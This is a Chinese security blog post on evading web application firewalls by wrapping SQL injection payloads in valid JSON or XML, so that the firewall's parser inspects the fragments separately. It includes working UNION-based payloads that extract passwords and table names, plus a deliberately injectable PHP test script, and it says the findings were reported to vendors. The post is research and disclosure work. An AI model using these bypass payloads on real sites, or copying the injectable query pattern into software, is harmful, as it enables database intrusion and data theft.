那些会让WAF失灵的大坑 (二)

0x00 介绍

在小编上一篇这是一个会让WAF失灵的“大坑” 一文中,曾经提到通过畸变的SQL注入语句可以绕过WAF。那么使用普通的SQL注入有没有办法绕过WAF呢? 答案是:有的。尽管WAF已经对GET、POST等尽可能多的参数进行了检查和过滤。但是还是存在其他的漏洞是目前WAF不能守住的。


0x01 前言

当前很多安全解决方案都支持HTTP等多种协议中的多种数据格式,但是waf面临的一个问题是:由于流量分析很难理解应用的业务逻辑,导致waf很难判断出何时何地是何种数据格式(JSON/Base64/XML/等)被使用了

因此对于waf厂商来说,他们通常只有一些简化的方法来解决上述问题,就拿http协议来说,这些方法主要有:

1. 通过Content-type header判断

2. 使用首选的合适数据格式

3. 用户手动配置指定解析方式

第一种方法看起来挺合理的但是也有明显的缺点。首先,不是所有的数据都包含Content-type meta信息。比如这个简单的GET 数据参数:

?jdata={"json":"here"}

其次,一个攻击者能够很容易地更改与程序期望所不同的Content-type头部值,如果一段数据是待检测的,那这段数据的任何内容本身也是不值得信任的。

第三种方法没什么好说的,因为厂商不可能去搞清楚每一个用户的实际情况去对每个用户进行私人订制。

实际上,这意味着大多数厂商都是选择第二种方式,使用首选的合适解析器。而这种做法则为绕过入侵检测系统打开了新的路子。


0x02 漏洞原理

为了利用好这一点,攻击者可以利用这样的方式去构造payload数据,它像json一样具有很好的格式形态,同时还具备sql注入那样的有效payload特性。

以下就是一个例子。

?injection={"'union/*":"*/select", ",2,password, ":" FROM users;#"}

这其实是一段很经典的sql注入payload,它等同于

' UNION SELECT 1,2,password,4 FROM users--a-

但是在入侵检测系统中,经过json解析器的解析后,这画风又变成了这样:

1

每个JSON的key和value都被检测逻辑分别对待了,而单独的来看这些keys和values并不能代表这是一次攻击,而把他们组合在一起的时候,就变成了一次攻击,并且由于json解析器的作用这个攻击对waf也是不可见的。

使用同样的技巧可以把一段payload伪装成XML数据。下面的payload即是一个合法有效的XML文档但同时又是一段sql注入。

<?xml version="1.0"?><a att1="'union/*" att2="*/select" att3=",username," att4=" FROM user;#">I'm an XML. Trust me!</a>


0x03 漏洞利用

下面以某厂商的一款waf产品为例,我们仅对waf有没有拦截json和xml数据进行测试,发现该waf在post方式提交时配合注释能绕过。

<?php

mysql_connect('localhost','root','root');

mysql_select_db('dswjcms');

$sql="select id,content from test where id='".$_REQUEST['id']."'";

if (mysql_query($sql)){

var_dump(mysql_fetch_array(mysql_query($sql)));

}else{

echo mysql_error();

}?>

id=-1'or''='<?xmlversion="1.0"?>

<aatt1="'union/*"att2="*/select/*"att3=",*/table_name,2%23,"att4="%0aFROM information_schema.tables limit 0,1%23">I'm an XML. Trustme!</a>

2

id=-1' or''='{"'union/*":"*/select/*", ",2,*/table_name,2%23,":" %0aFROM information_schema.tables limit 0,1%23;"}

3

随后我们又对其他几款主流的waf产品进行了测试,发现当前主流的基于规则的waf都存在同样的问题,针对上述问题我们已经向有关厂商进行了反馈


0x04 总结

目前IOT设备以及移动端的发展使得各种各样的网络协议以及回传格式都已经大大不同于传统的get 和 post 的参数传递。形如类XML JSON的轻型的数据结构的流行使得传统的WAF对于检测的方向显得力不从心。企业对待自己的网络产品和信息资产时,就算是使用了WAF也不能掉以轻心,也要设置适合自己的WAF规则来确保信息资产的安全性,参数是否合法等多个方向来确保自己的安全。